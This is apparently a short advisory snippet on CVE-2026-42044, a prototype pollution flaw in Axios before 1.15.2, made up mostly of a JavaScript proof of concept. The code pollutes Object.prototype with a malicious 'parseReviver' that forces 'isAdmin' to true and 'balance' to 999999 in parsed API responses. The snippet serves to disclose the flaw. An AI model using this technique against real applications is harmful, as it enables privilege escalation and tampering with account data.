CVE-2026-42044 Axios原型污染漏洞导致API响应篡改

// Assuming a prior prototype pollution vulnerability exists in the dependency tree // Attacker pollutes the prototype with a malicious reviver Object.prototype.parseReviver = function(key, value) { if (key === 'isAdmin') return true; if (key === 'balance') return 999999; return value; }; // Application code using vulnerable Axios (< 1.15.2) const axios = require('axios'); // Make a request to get user profile axios.get('https://api.example.com/user/me') .then(response => { // The response.data has been modified by the polluted reviver // 'isAdmin' might be forced to true even if server sent false console.log('User data:', response.data); if (response.data.isAdmin) { console.log('Access granted to admin panel'); } });